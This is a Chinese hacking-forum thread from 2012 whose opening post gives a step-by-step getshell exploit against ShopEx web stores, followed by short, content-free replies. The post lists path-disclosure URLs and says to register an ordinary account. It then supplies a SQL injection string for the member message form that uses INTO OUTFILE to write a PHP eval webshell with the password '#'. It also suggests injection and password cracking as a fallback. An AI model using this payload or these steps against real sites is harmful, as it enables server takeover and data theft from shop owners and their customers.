shopex前台普通用户getshell最新漏洞

admin · 发表于 2012-9-30 06:25:53

利用方法：

第一个：想办法找到目标网站的绝对路径

http://www.wooyun.in/install/svinfo.php?phpinfo=true

http://www.wooyun.in/core/api/shop_api.php
http://www.wooyun.in/core/api/site/2.0/api_b2b_2_0_cat.php
http://www.wooyun.in/core/api/site/2.0/api_b2b_2_0_goodstype.php
http://www.wooyun.in/core/api/site/2.0/api_b2b_2_0_brand.php

shopex存在很多爆路径的漏洞，请自行研究。

第二个：注册一个普通用户

http://www.wooyun.in/?passport-signup.html

第三个：

发送消息

http://www.wooyun.in/?member-send.html

代码

wooyun.in' union select CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php' #

一句话的密码是#
这个漏洞，对于mysql用户权限有要求的，对于导出的目录也得有可写的要求，服务器环境也有要求。
如果无法getshell的话，也可以尝试注入，破密码进后台也一样
shell图

驰州逢智 · 发表于 2012-9-30 09:01:34

孜孜不倦，吾等楷模 …………

阿科 · 发表于 2012-10-1 07:26:49

一山不能容二虎，除非一公和一母!

尅神 · 发表于 2012-10-8 22:07:52

我的啦嘿嘿

打酱油的路过 · 发表于 2012-10-10 18:42:15

琴棋书画不会，洗衣做饭嫌累。

啦啦 · 发表于 2014-11-17 00:22:29

回个帖子支持一下！

光秘海 · 发表于 2014-12-4 11:53:02

提示: 作者被禁止或删除内容自动屏蔽

逝去的青春 · 发表于 2014-12-27 11:22:21

(*^__^*) 嘻嘻……

‘’‘’ · 发表于 2015-1-27 12:37:20

我好想升级

小小小皓 · 发表于 2015-3-1 10:35:13

呵呵,明白了

光秘海光秘海当前离线积分 48 窥视卡雷达卡	发表于 2014-12-4 11:53:02 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
光秘海光秘海当前离线积分 48 窥视卡雷达卡
	回复支持反对使用道具举报显身卡

shopex前台普通用户getshell最新漏洞

相关帖子